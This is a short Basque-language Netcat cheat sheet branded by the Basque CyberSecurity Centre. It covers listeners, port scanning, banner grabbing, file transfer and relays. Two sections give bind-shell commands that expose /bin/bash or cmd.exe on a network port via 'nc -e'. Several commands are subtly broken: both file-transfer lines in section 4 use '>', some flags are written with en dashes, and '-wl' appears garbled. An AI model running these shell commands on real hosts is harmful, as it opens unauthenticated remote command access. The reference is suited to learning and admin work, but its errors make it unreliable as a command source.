Basque CyberSecurity Centre

# Netcat cheat sheet

**Komando-lerroko tresna bat da,** sare batean TCP/IP protokoloen bidez datuak irakurri eta idazteko erabiltzen dena.

## 1. Netcat bezero-zerbitzaria

- Ataka jakin bat entzuten duen zerbitzari bat irekitzea
  **nc -l 2389**
- Ataka horretara konektatzen den beste bezero bat irekitzea
  **nc localhost 2389**

  (Jarraibide horien bidez, komunikazio ez-segurua ezartzen da bi terminalen artean)

## 2. Urruneko shell bat abiaraztea

- Urruneko ostalarian
  **nc -lp 5000 -e /bin/bash**
- Localhost ostalarian
  **nc remotehost 5000**

## 3. Netcat Fundamentals

- Lehenespen gisa, ataka-analisi bat exekutatuko du
  **nc [aukerak] [ostalaria] [ataka]**
- Entzute-agente bat abiarazten du emandako atakan
  **nc -l [ostalaria] [ataka]**

## 4. Netcat fitxategien transferentzia

- Fitxategi bat bidaltzea
  **nc [ostalaria] [ataka] > file_name.out**
- Fitxategi bat jasotzea
  **nc [ostalaria] [ataka] > file_name.in**

## 5. Atzeko ateko shellak Netcaten

- Shell bat Linuxen exekutatzea
  **nc -l -p [ataka] -e /bin/bash**
- Shell bat Windowserako Netcaten exekutatzea
  **nc -l -p [ataka] -e cmd.exe**

## 6. Netcat erreleak Windowsen

- Errele-konexio bat irekitzea
  **nc [ostalaria] [ataka] > relay.bat**
- Errelera konektatzea
  **nc -l -p [ataka] -e relay.bat**

## 7. Netcat erreleak Linuxen

- **nc -l -p [ataka] 0 < backpipe | nc [client IP] [ataka] | tee backpipe**

## 8. Netcat komandoen adierazleak

- IPv4 soilik erabiltzea
  **nc -4**
- IPv6 soilik erabiltzea
  **nc –6**
- UDP erabiltzea TCPren ordez
  **nc –u**
- Deskonektatu ondoren entzuten jarraitzea
  **nc -k –l**
- DNS bilaketak ez egitea
  **nc –n**
- Emaitza zehatzak ematea
  **nc –v**

Basque CyberSecurity Centre

## 9. Netcat ataken eskanerra

- Ataka bakarra eskaneatzea
  **nc -zv site.com 80**
- Banakako ataka-multzo bat eskaneatzea
  **nc -zv hostname.com 80 84**
- Ataka-mota bat eskaneatzea
  **nc –zv  site.com 80-84**

## 10. Netcat fitxategien transferentzia

- Fitxategi bat bidaltzea
  **nc [ostalaria] [ataka] > file_name.out**
- Fitxategi bat jasotzea
  **nc [ostalaria] [ataka] < file_name.in**

## 11. Netcat bannerrak

- Ataka-gama baterako TCP bannerrak lortzea
  **echo “” | nc -zv -wl [ostalaria] [ataka-barrutia]**

## 12. TCP/UDP atakak

- TCP/UDP ataka jakin bat irekita dagoen egiaztatzea
  **nc -v google.com 80**
- UDP ataka bat irekita dagoen egiaztatzeko, gehitu -u aukera
  **nc -vu google.com 53**